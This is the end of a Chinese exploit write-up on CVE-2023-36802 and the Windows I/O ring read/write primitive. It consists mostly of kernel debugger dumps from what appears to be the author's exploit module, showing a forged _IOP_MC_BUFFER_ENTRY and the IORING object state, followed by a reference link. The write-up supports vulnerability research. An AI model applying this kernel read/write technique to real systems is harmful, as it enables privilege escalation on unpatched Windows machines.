fffff806`658000a0 00000000`00000002 00000000`000080f0
fffff806`658000b0 00000000`00000000 00000000`00000000
fffff806`658000c0 00000000`00000010 00000000`00000000
2: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff806`65800000
nt!_NT_IORING_SUBMISSION_QUEUE
+0x000 Head : 2
+0x004 Tail : 3
+0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE )
+0x010 Entries : [1] _NT_IORING_SQE
2: kd> dt _NT_IORING_SQE fffff806`65800090
nt!_NT_IORING_SQE
+0x000 OpCode : 1 ( IORING_OP_READ )
+0x004 Flags : 0 ( NT_IORING_SQE_FLAG_NONE )
+0x008 UserData : 0
+0x008 PaddingUserDataForWow : 0
+0x010 Read : _NT_IORING_OP_READ
+0x010 RegisterFiles : _NT_IORING_OP_REGISTER_FILES
+0x010 RegisterBuffers : _NT_IORING_OP_REGISTER_BUFFERS
+0x010 Cancel : _NT_IORING_OP_CANCEL
+0x010 Write : _NT_IORING_OP_WRITE
+0x010 Flush : _NT_IORING_OP_FLUSH
+0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff806658000a0))
(*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff806658000a0)) [Type: _NT_IORING_OP_READ]
[+0x000] CommonOpFlags : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
[+0x004] Padding : 0x0 [Type: unsigned int]
[+0x008] File [Type: _NT_IORING_HANDLEREF]
[+0x010] Buffer [Type: _NT_IORING_BUFFERREF]
[+0x018] Offset : 0x0 [Type: unsigned __int64]
[+0x020] Length : 0x10 [Type: unsigned int]
[+0x024] Key : 0x0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff806658000a8))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff806658000a8)) [Type: _NT_IORING_HANDLEREF]
[+0x000] Handle : 0x80f0 [Type: void *]
[+0x000] HandleIndex : 0x80f0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff806658000b0))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff806658000b0)) [Type: _NT_IORING_BUFFERREF]
[+0x000] Address : 0x0 [Type: void *]
[+0x000] FixedBuffer [Type: IORING_REGISTERED_BUFFER]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff806658000b0))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff806658000b0)) [Type: IORING_REGISTERED_BUFFER]
[+0x000] BufferIndex : 0x0 [Type: unsigned int]
[+0x004] Offset : 0x0 [Type: unsigned int]
-------------------------- _IOP_MC_BUFFER_ENTRY
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY * *)0x20000)
((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY * *)0x20000) : 0x20000 [Type: _IOP_MC_BUFFER_ENTRY * *]
0x23ed4990000 [Type: _IOP_MC_BUFFER_ENTRY *]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY *)0x23ed4990000)
((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY *)0x23ed4990000) : 0x23ed4990000 [Type: _IOP_MC_BUFFER_ENTRY *]
[+0x000] Type : 0xc02 [Type: unsigned short]
[+0x002] Reserved : 0x0 [Type: unsigned short]
[+0x004] Size : 0x80 [Type: unsigned long]
[+0x008] ReferenceCount : 0x1 [Type: unsigned long]
[+0x00c] Flags : 0x0 [Type: unsigned long]
[+0x010] GlobalDataLink [Type: _LIST_ENTRY]
[+0x020] Address : 0xffffe28444643220 [Type: void *]
[+0x028] Length : 0x10 [Type: unsigned long]
[+0x02c] AccessMode : 1 [Type: char]
[+0x030] MdlRef : 0x0 [Type: unsigned long]
[+0x038] Mdl : 0x0 [Type: _MDL *]
[+0x040] MdlRundownEvent [Type: _KEVENT]
[+0x058] PfnArray : 0x0 [Type: unsigned __int64 *]
[+0x060] PageNodes [Type: unsigned char [32]]
修复完成。
2: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n1
+0x068 CompletionLock : 0
+0x070 SubmitCount : 3
+0x078 CompletionCount : 3
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 0
+0x0b8 RegBuffers : (null)
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
参考文章
1,https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/
原文始发于微信公众号(安全客):CVE-2023-36802 与一种新的读写原语 ioring